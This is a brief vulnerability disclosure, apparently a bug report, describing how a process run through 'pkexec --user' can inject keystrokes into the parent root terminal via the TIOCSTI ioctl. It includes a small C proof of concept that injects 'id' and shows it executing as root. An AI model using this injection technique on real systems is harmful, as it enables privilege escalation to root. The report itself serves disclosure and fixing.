When executing a program via "pkexec --user nonpriv program" the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid() and in "sudo" by using the "use_pty" flag.

$ cat test.c
#include <sys/ioctl.h>

int main()
{
 char *cmd = "id\n";
 while(*cmd)
  ioctl(0, TIOCSTI, cmd++);
}

$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)